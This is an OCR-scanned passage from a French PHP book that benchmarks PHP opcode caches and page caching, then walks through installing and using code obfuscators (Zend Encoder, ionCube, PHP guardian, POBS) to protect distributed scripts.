Zend Engine v1 3 0, Copyright (c) 1 998-2002 Zend Technologies with Zend Extension [ 
Manager vl .0.0, Copyright (c) 2003, by Zend Technologies with Zend Optimizer 
v2.1 .0, Copyright (c) 1 998-2003, by Zend Technologies with Zend Performance Suite 
V3.5.0, Copyright (c) "I 999-2003, by Zend Technologies 



Figure 19.53 

phpinf o() 



L'indication "with Zend Accelerator" (ajoutee a "with Zend Optimizer") confirme le succes de 
l'operation d'installation. 
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Vous constaterez egalement la presence de nombreuses nouvelles lignes dans votre fichier 
php.ini. 

[Zend] 

zend_gui_password=<l e mot de passe crypte de 1 'interface d'admini strati on> 
zend_accel erator. use_bl ackl i st_f i 1 ename=<chemi n vers Zend 
x Accel erator>/etc/user_bl ackl i st .ZendAccel erator.txt 
zend_accel erator . val i date_timestamps=l 
zend_accel erator . use_cwd=l 

zend_extension=<chemin vers Zend Accel erator>/l ib/ZendExtensionManager.so 
. . .etc. . . 



Si vous souhaitez desactiver l'optimisateur Zend, il vous suffira de mettre ces lignes en 
commentaire (en les faisant preceder d'un point-virgule). 



CD ' 

2° 



Mesures 



Page quasi-statique 



tifaache/l.3.28 - Linux - PHP/4.3.0 - quasi-statii 




10 100 
Charge (nb req. simul.) 



□ Sans optimisation (20 tests en 2 series) 
■ Cache APC (20 tests en 2 series) 

□ Zend Accelerator (20 tests en 2 series) 



— 1 00 
CD> fi) 



O o 



CO 
CD 



Figure 19.54 : 

Temps de reponse 
d'unepage 
quasi-statique avec 
Zend Accelerator 



Tableau 19.13 : Temps de reponse avec Zend Accelerator d'une page quasi-statique 



Nombre de 


Temps total 


Temps total 


Temps total 


Nombre de 


requetes 


d'execution (en 


d'execution 


d'execution 


requetes en 


simultanees 


secondes) 


minimum (en 


maximum (en 


echec 






secondes) 


secondes) 




1 


6.96 


4.39 


13.42 






3 3.47 3.33 3.70 



5 


3.37 


3.24 


3.46 





7 


3.35 


3.23 


3.47 





10 


3.34 


3.24 


3.45 





50 


3.36 


3.28 


3.46 





100 


3.38 


3.31 


3.49 
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Les valeurs obtenues sont du niveau de ceux de PHPA (gain de 3 1 %) mais n'atteignent pas ceux 
d'APC. En revanche les appels qui se font les uns apres les autres offrent des temps de reponse 
relativement stable (en tout cas plus qu'avec PHPA ou APC). 



Comparatif avec les tests des editions precedentes 

Lors du test precedent (base sur PHP 4. 2. 1 et Zend Accelerator 2. 0. 2 ), etonnamment 
celui-ci ne fonctionnait pas. 



Page dynamique 







90 
80 


s_ 


o 
in 


70 




60 




50 


§ 
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40 
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000 
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10 100 
Charge Cnb req. sintul.) 



□ Sans optimisation (20 tests en Z series) 
■ Cache APC (20 tests en 2 series) 

□ Zend Accelerator (20 tests en 2 series) 



Figure 19.55 : 

Temps de reponse 
d'une page dynamique 
avec Zend Accelerator 



Tableau 19.14 : Temps de reponse avec Zend Accelerator d'une page dynamique 



Nombre de 

requetes 

simultanees 


Temps total 
d'execution (en 
secondes) 


Temps total 
d'execution 
minimum (en 
secondes) 


Temps total 
d'execution 
maximum (en 
secondes) 


Nombre de 
requetes en 
echec 


1 


25.34 


22.44 


35.00 





3 


21.22 


19.64 


22.05 





5 


21.50 


20.00 


22.51 





7 


21.79 


20.10 


22.98 





10 


22.04 


22.38 


22.99 





50 


23.72 


21.93 


25.01 





100 


24.66 


23.11 


26.06 






Zend Accelerator offre une optimisation tout a fait interessante (gain de 70%) mais toutefois 
legerement moindre que celle de ses concurrents gratuits. 

Encore une fois, le gain en performance a mis un terme aux echecs constate lorsque le nombre 
de requetes concurrentes atteint 100. 
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Comparatif avec les tests des editions precedentes 

Les tests precedents (bases sur PHP 4.2.1 et Zend Accelerator 2.0.2) donnaient de 

RFMARflllF 

mains bans resultats: de I'ordre de 28 secondes contre 21.5 ici: Soit un gain de 23% 
d'une annee a V autre. 



Page mathematique 



Apache/1.3.28 - Linux - PHP/4.3.0 - math 







♦ • • • 







Charge (nb req. siniul.) 



□ Sans optimisation (20 tests en 2 series) 
■ Zend Optimizer (20 tests en 2 series) 

□ Zend Accelerator (20 tests en 2 series) 



Figure 19.56 : 

Temps de reponse 
d'une page 
mathematique avec 
Zend Accelerator 



CD ' 

2° 



—i 00 
CD> fi) 



O o 



CO 
CD 



Tableau 19.15 : Temps de reponse avec Zend Accelerator d'une page mathematique 



Nombre de 

requetes 

simultanees 


Temps total 
d'execution (en 
secondes) 


Temps total 
d'execution 
minimum (en 
secondes) 


Temps total 
d'execution 
maximum (en 
secondes) 


Nombre de 
requetes en 
echec 


1 


23.26 


21.59 


28.27 





3 


20.92 


20.61 


21.25 





5 


20.88 


20.39 


21.07 





7 


20.92 


20.56 


21.20 





10 


21.06 


20.58 


21.36 





50 


21.49 


20.87 


22.24 





100 


21.33 


20.91 


22.24 






Les resultats obtenus ici sont egalement epoustouflants, bien meilleurs que ceux de PHPA ou 
meme que ceux de Zend Optimizer. 

Le gain est ici de 55 % par rapport a une solution sans optimisation. 

Malheureusement, rappelons-le, ce test n'est pas le plus representative d'une page d'un site web. 
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Comparatif avec les tests des editions precedentes 

Les tests precedents (bases sur PHP 4.2.1 et Zend Accelerator 2.0.2) donnaient de 
mains bans resultats: de I'ordre de 25 secondes contre 21 ici: Soit un gain de 16% 
d'une annee a V autre. 



Conclusion 

Zend Accelerator ne semble prendre l'avantage sur les autres solutions testees que dans le cas 
a> du test integrant des boucles sur des operations mathematiques. Ce qui semble bien maigre 

g sachant que cette solution est payante et non les autres. Reste toutefois a completer ces tests 

.2 g_ afin de mieux evaluer la stabilite de ces produits et l'impact d'un choix d'une autre machine et 

Lo d'un autre environnement. 
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19.8. Conclusion sur les solutions "bas niveau" 
(modules PHP) 



Avant de tirer une conclusion, il convient de rappeler que les tests effectues ici n'ont qu'une 
representativite limitee. Les resultats peuvent en effet considerablement changer d'une 
configuration a l'autre. Vous n'obtiendrez certainement pas les memes resultats sur une 
machine disposant d'un processeur plus efficace, d'une plus grande quantite de memoire ou 
d'un disque dur plus rapide. Mais cela depend aussi beaucoup de 1'architecture de votre 
systeme (il n'est pas vraiment conseille de faire tourner la base de donnees sur la meme 
machine que le serveur web) et, plus encore, du type de script utilise (comme le demontre ces 
quelques tests). Les tests n'ont porte que sur trois scripts ; les caches n'avaient done a gerer, au 
plus, que trois fichiers. Nous etions done bien loin du cas de figure d'un veritable site 
hebergeant peut-etre des centaines de scripts. Bref, tout cela peut faire que vous puissiez etre 
amene a constater des differences de performance moins grandes (ou plus grandes) d'une 
solution d'optimisation a l'autre, voire meme que la hierarchie s'en trouve changee. 

De plus, ces tests ont tous ete realises avec la configuration par defaut. II est possible (et meme 
probable) que certaines des solutions testees auraient pu donner des resultats plus probants 
s'ils avaient ete configures pour repondre au mieux aux besoins des scripts. 

Quoi qu'il en soit, la premiere des constatations que Ton peut faire, et ce n'est pas la moindre, 
e'est que ces tests confirment qu'il est possible d'ameliorer grandement les performances d'un 
serveur web equipe de PHP. La meilleure solution consistant a optimiser le code genere et a le 
stocker en memoire cache. 

Enfin, il semblerait qu'il ne soit pas (sauf cas particulier) necessaire de vider son porte monnaie 
pour obtenir des resultats optimum, sachant que PHP Accelerator et APC font plus que 
rivaliser avec Zend Accelerator. A ce jour, notre preference se portera sur PHP Accelerator 
sachant que le version de production d'APC (pour les versions recentes de PHP) n'est pas 
encore sortie et que la version de developpement en court semble contenir quelques 
imperfections mais cela pourrait changer a tout moment. 
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Les solutions "haut niveau" (programmation PHP) 



A contrario, Zend Optimizer ne semble pas a recommander, sauf si votre site est un peu 
particulier. Cette remarque n'est egalement pas valable si vous optez pour l'obfuscation de 
code (presentee dans le chapitre suivant). 



Cache et mise a jour 

II y a au moins un point qui n'a pas ete aborde, mais qu'il faut garder a Vesprit. 
Comme toujours avec les solutions de mise en cache, la difficulte consiste a 
determiner la limite de validite du cache, autrement dit a repondre a la question 
"est-ce que le document source a ete modifie depuis que je Vai mis en cache ?". Afin 
de repondre a cette question, la plupart des solutions (toutes ?) contrdlent tout 
simplement la date de derniere modification du fichier. Vous n'aurez done pas a 
arreter puis redemarrer le serveur afin de prendre en compte les corrections apportees 
a vos scripts (et encore moins a aller effacer je ne sais quel fichier temporaire). 
Certaines des solutions d 'optimisation proposent toutefois de desactiver ce controle 
afin d'augmenter encore le temps de reponse. 

Meme si toutes les solutions d'optimisation n'ont pas ete testees ici, sachez qu'il existe tres peu 
de logiciels de ce type pour Windows. Si malgre tout vous avez opte pour ce systeme 
d'exploitation, alors peut etre devrez vous essayer Turck MM Cache disponible a l'adresse 
http://www. turcksoft. com . 

19.9. Les solutions "haut niveau" (programmation 
PHP) 

Comme nous l'avons vu dans le chapitre Optimisation des temps de reponse integre au chapitre 
Les en-tetes HTTP, il est tres aise d'utiliser un systeme de cache de "haut niveau" consistant a 
stocker dans un fichier le resultat de ['interpretation PHP. En effet, ce fichier peut etre rappele 
a chaque nouvelle requete et/ou recree lorsque sa duree de vie a expire. 

La principale difficulte avec ce genre de script est de determiner la duree de vie que Ton doit 
donner au fichier de cache. Mais, comme il n'y a aucune regie pour fixer ce seuil, nous vous 
laissons vous en remettre a votre bon sens. 

Une autre difficulte peut consister a determiner les scripts qui doivent en profiter. Pour un 
script qui ne depend d'aucun parametre (post, get, session ou cookie), necessite un long 
traitement (ou une requete SQL un peu longue), et ne varie pas toutes les 10 mn (ou qui 
autorise un retard de mise a jour de plus de 10 mn), il n'y a quasiment pas de questions a se 
poser : ce type d'optimisation s'impose. Si nous sommes dans les memes conditions, mais que le 
script depend d'un certain nombre de parametres, cette solution n'est envisageable que si ces 
parametres ne peuvent prendre qu'un nombre fini et reduit de valeurs. II faudra, dans ce cas, 
creer un fichier de cache par ensemble de parametres possibles. 

Dans tous les autres cas, nous considerons que cette solution ne doit pas etre envisagee. 

Si Ton considere les exemples qui nous ont servis a comparer les solutions "bas niveau", il est 
evident qu'un cache "haut niveau" ne peut etre utilise avec l'exemple dynamique, mais qu'en 
revanche, cela apporterait beaucoup a l'exemple mathematique (le delai d'expiration serait 
meme infini... Mais bon, dans ce cas, autant utiliser une page statique). 
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En ce qui concerne l'exemple quasi-statique, il est plus difficile de trancher. II y a peu de code 
a executer, ce qui fait que les temps de reponse semblent bien courts. En pareil cas, l'utilisation 
d'un cache de haut niveau pourrait etre contre-productif. En effet, lorsque Ton fait appel a un 
script qui se suffit a lui-meme, cela ne necessite qu'un seul acces au disque, alors que, pour un 
script identique qui utilise un fichier de cache, il faut deux a trois acces au disque (un pour 
charger le script, un autre pour charger le fichier de cache et il faut, de plus, verifier la date de 
derniere modification du script). Multiplier ainsi les acces au disque par deux ou trois peut etre 
vraiment penalisant, notamment vis-a-vis de la montee en charge. 

En fait, il s'avere que le script qui nous a servi pour l'exemple fait une multitude d' include, et 
chaque include necessite un acces au disque. Ces acces sont done bien plus nombreux que 
dans une solution faisant appel a un fichier de cache. 

Les performances s'en ressentent, comme le montre le graphe suivant qui compare : 
L'exemple precedent quasi-statique ; 

Sa version legerement modifiee pour gerer un fichier de cache d'une duree de vie de 10 mn ; 

Une version statique de la page (sauvegarde au format HTML du resultat retourne par le 
script PHP). 

Figure 19.57 : 

Comparaison des 
versions statique, 
fichier de cache et 
quasi-statique 



«che/1.3.2S - Linux - PHP/4.3.0 - Sons optimisation 



<> 




O ^ ^ 



o o 

: : 



Charge (nb req. simul.J 



□ quasi-statique (20 tests en 2 series) 
| statique (20 tests en 2 series) 

□ fichier de cache (20 tests en 2 series) 



Alors que la version quasi-statique repond aux 500 requetes en 4,8 secondes, la version avec un 
fichier cache repond en 2,9 secondes et la version statique, elle, ne demande que 1,8 secondes. 



REMARQUE 



Comparatif avec les tests des editions precedentes 

Les tests precedents (bases sur PHP 4.2.1) donnaient de moins bons resultats: de 
I'ordre de 5,7 secondes contre 4,8 et 3,4 contre 2, 9 ici: Soit un gain de 15% d'une 
annee a I'autre. 



19.10. Conclusion 

D'un tout autre fonctionnement que les caches de bas niveau vus precedemment, les caches de 
haut niveau peuvent eux aussi ameliorer grandement les performances de votre site Internet, a 
condition toutefois que la nature des scripts demandes s'y prete. 
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Chapitre 20 



L'obfuscation : 
Distribuer ses scripts 
sans devoiler son code 



20.1 Introduction 1381 

20.2 Avec Zend Encoder 1381 

20.3 Avec ionCube PHP Encoder 1388 

20.4 Avec PHP guardian 1389 

20.5 AvecPOBS 1390 

20.6 Autres 1392 



Avec Zend Encoder 



20.1. Introduction 

Si vous optez pour une licence GPL ou toute autre licence Open Source (ce que vous etes invite 
a faire), la distribution de votre code ne vous causera aucun souci. Si, en revanche, vous ne 
souhaitez pas laisser partir votre savoir-faire dans la nature et que vous avez a distribuer une 
application sous forme de scripts PHP, vous devrez trouver une solution pour que le code 
source ne soit pas lisible, et cela sans nuire a son fonctionnement. 

La solution generalement retenue s'appelle I'obfuscation (que Ton traduit parfois aussi 
"assombrissement") de code. Cette operation consiste en plusieurs points, dont les principaux 
sont : 

1 . Suppression de tous les commentaires (c'est le moins que Ton puisse faire) ; 

2. Masquage de tous les noms de variables et fonctions (un appel a une fonction appelee "a" 
ou "zedfrDS" sera bien plus difficile a interpreter qu'un appel a une fonction appelee 

connexionBaseDeDonnees ( ) ) ; 

3. Livraison du code sous sa forme compilee (c'est certainement la forme la plus difficilement S o 
interpretable pour nous autres, etres humains). 



D'autres solutions basees sur une autre technique existent. Ainsi Microcode et PHTML 
Encoder proposent des solutions consistant a crypter/decrypter les scripts PHP. 
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II existe a ce jour tres peu de solutions pour PHP. II y a, par exemple, les solutions payantes § » §- 

comme Zend Encoder, la toute recente ionCube PHP Encoder ou PHP guardian et une cd co c 

solution gratuite, POBS (PHP Obfuscator), chacune ayant ses propres caracteristiques. « "> 2 

O V) — 

= 25 



o "5 



20.2. Avec Zend Encoder 

II est difficile de savoir ce que fait exactement Zend Encoder. II n'existe en effet pas (a notre 
connaissance) de logiciel permettant de voir le source qui serait obtenu si l'operation etait 
inversee. Mais Ton peut affirmer sans trop de doutes que les commentaires sont supprimes et 
le code livre sous sa forme compilee. II n'est pas certain que les noms des fonctions et variables 
globales soient masques, puisque les scripts ainsi obfusques restent compatibles avec les scripts 
non obfusques. 

Zend Encoder est desormais integre a Zend Safe Guard qui propose egalement un systeme de 
gestion de licence baptise Zend License Manager. 

Une version devaluation peut etre telechargee sur le site (anglais) http://www.zend.com. 
Zend Encoder est disponible pour les systemes d'exploitation : 

Windows (NT, 2000, XP) ; 

■ Linux glibc2.1 et 2.2; 
Solaris (2.6 et +) ; 

■ FreeBSD (3.4 et +). 

Les scripts ainsi obfusques ne peuvent etre lus que sur les sites web disposant de Zend 
Optimisateur (voir chapitre Optimisation). 
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Version d 'evaluation 

^ Avec la version d 'evaluation les scripts generes ne sont valables que 3 jours. 
REMARQUE 

La derniere version disponible a ce jour est la 3.5 qui n'est officiellement compatible qu'avec les 
versions 4.0.6 a 4.3 de PHP. 



Installation 

reinstallation est tres simple. Vous trouverez ci apres la procedure pour la version 2.0.1 



Sous Windows 



CO 



03 



s 



Apres avoir telecharge Zend Encoder depuis le site http://www.zend.com, il suffit de lancer l'ins- 
tallation et de repondre a quelques questions. 



InstallShield Wizard 



Zend Encoder License Selection 



™1 



Setup has nut detected a valid license fife. T he license hie can also be downloaded manually 
from www.zend.com. 



<• Download a license file from www.zend.com 
f Use an existing license or my disk 



Figure 20.1 : 

Installation de Zend 
Encoder sous Windows 
(1/2) 



nftailSNeld 



< Back I Nent> I Cancel 



Si le script d'installation ne trouve pas de cle d'activation, celui-ci vous propose d'indiquer ou le 
fichier peut se trouver. Vous pouvez egalement la telecharger (c'est ce que nous avons fait pour 
obtenir une licence devaluation). 



Intranet 

£^ La licence doit etre telechargee depuis le poste ou doit etre installe Zend Accelerator. 
ATTENTION H n'est, par exemple, pas possible de lancer le script d'installation depuis un poste 
relie a Internet pour utiliser la cle d'activation sur un poste en Intranet. Si votre poste 
n'est pas relie a Internet, selectionnez tout de mime {'option "download a license file 
from www.zend.com". Un message d'erreur vous indiquera alors comment vous y 
prendre pour recuperer manuellement un fichier de licence. 
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Avec Zend Encoder 



Please: enter yi.un zeroira 
[if you don't have a Zend username, please register at 
>,wm. 2 end. com/login, php | 



Figure 20.2 : 

Installation de Zend Encoder sous 
Windows (2/2) 



Pour pouvoir telecharger Zend Encoder, vous avez du ouvrir (gratuitement) un compte sur le 
site Zend. Afin de telecharger la cle d'activation vous devez, ici, saisir votre nom d'utilisateur et 
votre mot de passe. 

Et voila ! C'est fini. 

L'interface obtenue est alors la suivante : 



Nouveau pro jet - Zend Encoder 



File Tools Help 



EBB 



& mm 



> 



Optimizations 

f* Full f Minimal C None 



Options 

V Short Tags [support <? in addition to <?php) 
r ASP Tags (support <M in addition to <?php] 



Zsnd Ei iiiler (■:) lend Technuloaies LTD, 1999-2002 
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Figure 20.3 : Interface de Zend Encoder 

Sous Linux 

Vous devez copier l'archive dans un espace quelconque (ex. : Itmp) et la decompresses 

# gunzi p ZendEncoder-Eval uation-2.0. 1-Linux_gl i bc2 1 - i 386 . tar.gz 

# tar xvf ZendEncoder-Evaluation-2.0.1-Linux_glibc21-i386.tar 

II suffit ensuite de lancer le script d'installation : 

# cd ZendEncoder-Evaluation-2.0.1-Linux_glibc21-i386 

# . /install. sh 
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Et c'est parti... 



Zend Encoder 2.0.1 
Welcome to the Zend Encoder 2.0.1 Instellation Script 



Figure 20.4 : 

Fenetre d'accueil 



..apres avoir dit "bonjour". C'est fait ? Vous pouvez taper (Entree) . 

Figure 20.5 : 

Licence 




us 



03 



■ ■ "S. o 

c ■- o 

.2 o = 

2 us «> 

US 03 »- 

3 GO _OJ 

° = > 



Vous avez maintenant la liberte de lire ou non la licence. Nous vous laissons faire votre choix. 
Quoi qu'il en soit, en selectionnant "No" ou en choisissant de lire la licence puis en validant, 
vous vous retrouverez face a la fenetre suivante : 



Zend Encoder 2.0.1 

IMPORTANT: 

BY SELECTING THE YES OPTION BELOW, DOWNLOADING, INSTALLING, OR 
OTHERWISE 0SING THIS SOFTWARE , Y00 ACKNOWLEDGE THAT YOU HAVE READ THE 
LICENSE AGREEMENT, AND THAT Y00 AGREE TO BE B00ND BY ITS TERMS AND 
CONDITIONS. 

IF Y00 DO NOT AGREE TO ALL OF THE TERMS AND CONDITIONS OF SUCH AGREEMENT, 
YOU ARE NOT AN AUTHORIZED USER OF THE SOFTWARE AND IT IS YOUR 
RESPONSIBILITY TO EXIT THIS DOWNLOADING/INSTALLATION PROCESS WITHOUT 
DOWNLOADING OR INSTALLING THE SOFTWARE BY SELECTING THE NO OPTION BELOW, 
AND TO DELETE THE SOFTWARE FROM YOUR COMPUTER. 

Do you accept the terms of the license? 



Figure 20.6 : 

Acceptation de la 
licence 



Nous vous laissons choisir en votre ame et conscience. En ce qui nous concerne, nous avons 
opte pour la reponse "Yes". Vous aussi ? Tres bien. Tapez [ Entree 1 et passons a la suite. 

Figure 20.7 : 

Chemin du repertoire 



Tend Encoder 2.0.1 
Specify the location where to install Zend Encoder 



^/usr/local/Zend_Encoder_2,0.1D 



d 'installation 



Vous etes maintenant invite a saisir le chemin du repertoire devant accueillir Zend Encoder. Le 
chemin propose est /usr/local/Zend. Comme vous pouvez le constater, nous avons prefere 
choisir /usr/local/Zend_Encoder_2.0.1, ce qui, finalement, ne s'est pas avere etre une tres bonne 
idee (Zend Encoder s'entetant a aller chercher l'encodeur sous /usr/local/Zend). Conservez 
done la proposition par defaut et pressez la touche ( Entree [ . 
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Avec Zend Encoder 



Zend Encoder 2,0.1 
Setup has not detected a valid license file. 
If you have a valid license file, select 
'Search for a license file on my disk ' , 

Otherui.se select 'Download a license file from LiiiiiiiJ.zend.com 1 . 

The license file can also be downloaded manually from uuw, zend.com. 



Search for a license file on my disk 



Figure 20.8 : 

Cle d 'activation 



Si le script d'installation ne trouve pas de cle d'activation, celui-ci vous propose d'indiquer ou le 
fichier peut se trouver (il s'agit d'un fichier zend_accelerator.dat, habituellement sous le 
repertoire data ou sous /usr/local/Zend). Vous pouvez egalement la telecharger (c'est ce que 
nous avons fait pour obtenir une licence devaluation) . 



ATTENTION 



Intranet 

La licence doit etre telechargee depuis le poste oil doit etre installe Zend Accelerator. 
II n'est, par exemple, pas possible de lancer le script d'installation depuis un poste 
relie a Internet pour utiliser la cle d'activation sur un poste en Intranet. Si votre poste 
n'est pas relie a Internet, selectionnez tout de mime I'option "download a license file 
from www.zend.com". Un message d'erreur vous indiquera alors comment vous y 
prendre pour recuperer manuellement un fichier de licence. 



Zend Encoder 2.0.1 

Please enter your Zend username: 



(If you don't have a Zend username, 
please register at wwu, Zend, con/login, php) 




Figure 20.9 : 

Identifiant de compte 
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Pour pouvoir telecharger Zend Encoder, vous avez du ouvrir (gratuitement) un compte sur le 
site Zend. Afin de telecharger la cle d'activation, vous devez ici saisir votre nom d'utilisateur... 




Zend Encoder 2.0.1 

Please enter your Zend password: 



******* 



Figure 20.10 : 

Mot de passe 



...ainsi que votre mot de passe. 

Et voila... Une serie de fenetres s'ouvrent et se ferment pour vous indiquer que tel ou tel fichier 
a ete installe. Et c'est fini. 

Pour obfusquer un fichier ou toute une arborescence, vous n'avez qu'a lancer l'interface 
graphique. 
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/usr/1 ocal /Zend/ZendEncoderGUI 
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Figure 20.11 : Interface graphique de Zend Encoder 



Nous avons teste la version 2.0 pour Linux. 

Vous devez, dans un premier temps, creer un projet depuis le menu File. 

Figure 20.12 : 

Nouveau projet 



^ New Project 



x 



Enter Project Name 



Une fois le projet cree, 



Cmgfr Mum | 



T Shoil T«b> (luppori «? In 
J ASP Tacp (support <\ In 
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Figure 20.13 : Interface principale 



Avec Zend Encoder 



vous devez ajouter les fichiers sources, qui constituent votre projet PHP, depuis le menu File. 

Figure 20.14 : 

Ajout de fichiers au projet 



\ 



1 directory to adrj to the project 



I bin 

+ | boot 

_J data 
+ _|dev 
B etc 
+ _|home 

_l initrd 
+ __J lita 

I lost+found 



_1 Show hidden directories 



New... OK Cancel 



Une fois integres au projet, les fichiers apparaissent dans la fenetre gauche. 

Figure 20.15 : 

Repertoire source 



| Mon F'rojet- Zend Encodei 



ik ■mm 



fa Mon Projet 

B e website 
B £j pannonces_pear 
config_db_inc.php 
conligjnc php 
config_mysql_iric.php 
footeMnc.php 
forumdbxjnc.php 
headerjnc.php 
lM\ index.php 
[J] main_inc.php 
nil math.php 
lM menuleft_iric.php 
murigh'Linc.php 
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Vous devez egalement indiquer le repertoire dans lequel doivent etre copies les scripts 
obfusques. Pour cela cliquez sur le bouton de Target Directory. 



Target Directory 



J ASP Tags (support - 



Q |_|Pin 


j 








S Dboot 






f~l data 






EE Q) dev 






+ I etc 






EE LJ home 






l_J initrd 






+ _| lib 




1 lost+found 


s 



_j Show hidden directorie: 



Figure 20.16 : 

Repertoire destination 
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Une fois le projet totalement defini, il ne vous reste qu'a cliquer sur "Encode !". 
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Figure 20.17: Obfuscation 

Et voila, c'est fait. Nous ne vous montrerons pas le contenu d'un fichier obfusque. C'est 
tellement illisible que Ton croirait voir un fichier de jurons. 



Conclusion 

Les fichiers assombris avec Zend Encoder sont veritablement illisibles, et ceci restera vrai tant 
qu'aucune solution (probablement pirate) ne permettra de passer du code compile au code 
source (a priori en grande partie masque). 

Cette solution necessite l'installation d'un logiciel sur le serveur. Mais, comme il s'agit de Zend 
Optimizer, cela ne constitue pas une grosse contrainte. C'est tout particulierement vrai si vous 
assurez vous-meme la configuration du serveur web, mais cela reste vrai egalement si vous 
passez par un hebergeur, puisqu'il n'est pas rare de voir Zend Optimizer installe. 

L'utilisation de Zend Encoder est tres souple, puisqu'il est possible de ne masquer qu'une 
partie des scripts d'un site (ce qui permet notamment de laisser lisibles les fichiers de 
configuration). En contrepartie, il est possible de douter du fait que les noms des fonctions ou 
variables globales soient masques. Ce qui pourrait faciliter la lecture d'un script "desobfusque", 
mais tout cela reste a demontrer. 



20.3. Avec ionCube PHP Encoder 

Tout comme dans le domaine de l'optimisation, ionCube propose une alternative au produit de 
Zend baptise ionCube PHP Encoder. Le principe reste le meme: il s'agit de ne fournir qu'un 
code precompile illisible. Cette solution integre egalement la possibility de limiter 1'execution 
des scripts dans le temps et/ou par machine. Contrairement a Zend Encoder, il n'y a pas 
d'interface graphique permettant de selectionner les scripts a obfusquer. 

Pour fonctionner, les scripts encodes necessitent l'installation prealable d'ionCube PHP 
Loader sur le serveur. Ce dernier est disponible gratuitement. 
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Avec PHP guardian 



ionCube PHP Encoder n'est pas gratuite mais une version devaluation peut etre telechargee 
sur le site a l'adresse http://www.ioncube.com/. II fonctionne sur les plateformes Linux, FreeBSD et 
prochainement Windows (systeme d'exploitation pour lequel il n'existe aujourd'hui qu'une 
version beta). 

Nous avons bien evidemment teste la version Linux; la version devaluation 3.0 pour etre precis. 

Version d'evaluation 

^ La version d'evaluation n'est utilisable que durant 7 jours. 

REMARQUE 

Installation 

II suffit de decompresser l'archive dans son repertoire de destination (ex: /usr/local) 
# tar zxvf ioncube_encoder_eval uation_3.0.tar.gz 



Utilisation 

Pour crypter un repertoire complet (ici srcf) et recuperer le resultat dans un repertoire donne 
(ici dstl) vous devrez alors taper une commande similaire a 

# ./ioncube_encoder --key <votre cle de licence> src -o dst 

Vous constaterez alors qu'effectivement le repertoire dstl contient des fichiers illisibles hormis 
leurs premieres lignes. 

Les premieres lignes de ces scripts sont en fait destinees a charger en memoire le module 
capable d'interpreter leur contenu, a savoir ionCube PHP Loader. 

Ainsi, une des solutions possibles pour utiliser ces scripts obfusques consiste a decompresser 
l'archive directement dans le repertoire contenant ces fichiers. 

# tar zxvf ioncube_loaders_2.1.tar.gz 

Une fois cette operation realisee vous pouvez constater qu'il est possible d'acceder a ces scripts 
aussi simplement que leur equivalant non crypte. 

II existe bien evidemment, une longue liste d'options a la commande ioncube_encoder, mais 
pour repondre a votre besoin specifique, il vaut mieux que vous vous plongiez dans les notices 
d'utilisation. 



20.4. Avec PHP guardian 

Disponible uniquement sous Windows, ce logiciel n'a pas ete teste. 

II semble fonctionner sur le meme principe que Zend Encoder et ionCube PHP Encoder (et 
offre egalement des options permettant de limiter la duree de vie du script ou de le limiter a une 
adresse IP donnee.). II ne necessite toutefois aucune installation sur le serveur le decodage 
s'effectuant par un script PHP fourni avec le logiciel. 

Vous le trouverez (y compris en version d'evaluation) a l'adresse http://www.phpguardian.com/. 
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20.5. Avec POBS 

POBS est ecrit en PHP. II fonctionne done sur toute plateforme disposant d'un serveur web 
integrant PHP. 

La version testee est la version 0.99 qui reste a ce jour la derniere version disponible. Celle-ci est 
officiellement testee avec PHP 4.0.4 (ce qui ne signifie pas pour autant qu'elle ne fonctionne 
pas avec les autres versions de PHP 4) 
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Installation 

II suffit de decompresses dans un coin de votre serveur web, l'archive disponible sur le site 
http://pobs.mywalhalla.net/ (ou celle disponible sur le CD-ROM). 

Vous serez certainement amene a modifier quelques parametres du script pobs-ini.inc.php, en 
particulier $SourceDir et $TargetDir, qui indiquent respectivement le chemin du repertoire 
contenant les sources et celui destine a recevoir les versions obfusquees des scripts. 

Quoi qu'il en soit vous etes invite a consulter le fichier documentation-fr.txt (profitez-en ! Pour 
une fois qu'il y a une notice en frangais...). 



■ Utilisation 



II suffit d'appeler le script principal pobs.php. 



I- " * 



Muma ftml avnl* £knw &tt 



- St ' Ir-I.irt <-Z— 



31 





Figure 20.18 : POBS 



L'interface qui s'offre a vous vous permet alors de modifier certains parametrages. Vous 
pouvez choisir de masquer les noms des fonctions, constantes et/ou variables, et de supprimer 
les commentaires, indentations et/ou retours a la ligne. 
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Avec POBS 



Lorsque vous lancez l'obfuscation via le bouton "Start processing", les fichiers resultats sont 
alors copies dans le repertoire designe par le fichier pobs-ini.inc.php et un bilan est affiche. 

" - P x 

]g 

Execute POBS : "sources" => "targets" — 

WildCardValLie:foo" 

+ Scanning Filename: test.php 

- Copy Filename: test.php- 



| 




Replaced elements : 



No A'Krt:^ Of no mpiats n\ 



Number of userdefined elements to be replaced : 

Functions: 1 
Variables: 5 
Constants: 

£ Document : Termine (0.773 3) 
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Figure 20.19 : Bilan POBS 



Dans ce bilan apparait la liste des fichiers traites, les noms des fonctions, constantes et 
variables, ainsi que leurs equivalents obfusques. 

Ainsi, l'exemple suivant : 
<?php 

// Fonction retournant le resultat 

// de 1 'addition de operandel avec operande2 

function addi tion ($operandel , $operande2) 

{ 

$somme = $operandel + $operande2; 
return $somme; 

} 

?> 

<html> 
<body> 
<?php 

$vall = 3; 

$val2 = 6; 

echo addition($val 1, $val2); 

?> 

</body> 
</html> 
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donne le resultat suivant (qui varie selon les options choisies) : 
<?php 

function F2b2ae874($V275ff7ff , $Ve5f3bc4b) 

{$V3ce6e7f2 = $V275ff7ff + $Ve5f3bc4b;return $V3ce6e7f2;}?> 

<html> 

<body> 

<?php 

$V8de92ce2 = 3;$V38ceaa3b = 6;echo F2b2ae874($V8de92ce2, $V38ceaa3b) ;?> 

</body> 

</html> 

Ce qui, vous en conviendrez, n'est pas tres lisible (meme si ici, le code etant bien simple, il n'est 
pas tres difficile de comprendre ce que fait ce script). 

Comme les noms de fonctions, constantes et variables sont modifies par POBS, les scripts 
obfusques ne pourront pas etre inclus tels quels dans des scripts non obfusques (et 
inversement). Si vous souhaitez conserver des scripts en clair (i.e. des fichiers de configuration), 
vous devrez configurer POBS (via le fichier pobs-ini.inc.php) afin de ne pas masquer tel ou tel 
nom de fonction, constante ou variable. 



Conclusion 

POBS a l'avantage d'etre une solution gratuite offrant un bon degre de camouflage et qui ne 
necessite aucun logiciel sur le serveur web. II est done compatible avec toutes les plateformes. 

Bien que le resultat de l'obfuscation ne soit pas sous une forme compilee, le travail de 
restauration des sources originales est toutefois grandement facilite (parions, cependant, que 
les solutions permettant de transformer le resultat d'une obfuscation telle que peut en 
retourner Zend Encoder en un code similaire a celui que fournit POBS ne tarderont pas a 
